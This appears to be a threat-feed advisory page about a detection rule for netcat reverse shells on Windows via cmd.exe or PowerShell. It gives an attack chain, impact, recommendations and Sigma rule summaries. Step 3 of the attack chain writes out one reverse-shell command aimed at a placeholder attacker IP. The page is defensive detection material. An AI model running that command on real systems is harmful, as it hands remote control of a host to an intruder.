Skip to content
Threat Feed
high advisory

Potential Command Shell via NetCat Execution

The rule identifies potential attempts to execute a reverse shell using the netcat utility to execute Windows commands via Cmd.exe or Powershell.

This detection rule, sourced from Elastic’s detection ruleset, aims to identify instances where the netcat utility might be used to establish a reverse shell on a Windows system. Netcat is a versatile networking tool, but its capability to redirect input/output makes it a potential risk when used maliciously. The rule focuses on detecting command-line arguments commonly used to create reverse shells, specifically those involving -e (execute) along with command interpreters like cmd.exe and powershell.exe. Defenders should be aware of legitimate uses of netcat in their environment to avoid false positives, such as during authorized penetration testing or network troubleshooting. However, the use of netcat to spawn command shells without proper authorization should be treated as a high-priority incident. This rule was last updated in May 2026.

Attack Chain

  1. An attacker gains initial access to a Windows system through an exploit or social engineering.
  2. The attacker uploads or stages the netcat utility (nc.exe or similar) onto the compromised host, often into C:\Windows\Temp\ or a user-writable directory.
  3. The attacker executes netcat with the -e option, redirecting the command shell’s input/output to a network socket. For example, nc.exe <attacker_ip> <attacker_port> -e cmd.exe.
  4. The netcat process spawns a child process, either cmd.exe or powershell.exe, which becomes the reverse shell.
  5. The attacker interacts with the reverse shell to perform reconnaissance, such as running whoami or ipconfig.
  6. The attacker may then attempt to escalate privileges using exploits or credential harvesting techniques.
  7. The attacker uses the reverse shell to move laterally within the network, accessing sensitive data or systems.
  8. The attacker exfiltrates data or deploys ransomware, depending on their objectives.

Impact

A successful reverse shell can grant an attacker complete control over the compromised system. This can lead to data theft, system compromise, lateral movement within the network, and ultimately, significant financial or reputational damage. Depending on the attacker’s objective, the impact can range from data exfiltration to ransomware deployment, causing significant disruption to business operations.

Recommendation

  • Deploy the provided Sigma rules to your SIEM and tune for your environment.
  • Monitor process creations for cmd.exe or powershell.exe with a parent process executing netcat and command-line arguments containing -e as defined in the Sigma rules.
  • Investigate any alerts generated by the Sigma rules, focusing on identifying the source of the netcat executable and the actions taken by the spawned shell.
  • Implement application control policies to restrict the execution of unauthorized binaries, including netcat, in your environment.
  • Review and restrict the use of netcat in your environment, ensuring it’s only used for legitimate purposes and with proper authorization.
  • Monitor network connections for unexpected outbound connections from cmd.exe or powershell.exe to external IP addresses, as described in the Attack Chain.

Detection coverage 2

Detect Netcat Reverse Shell via Cmd

high

Detects netcat usage to create reverse shell via cmd.exe

sigma tactics: execution techniques: T1059.003 sources: process_creation, windows

Detect Netcat Reverse Shell via Powershell

high

Detects netcat usage to create reverse shell via powershell.exe

sigma tactics: execution techniques: T1059.001 sources: process_creation, windows

Detection queries are kept inside the platform. Get full rules →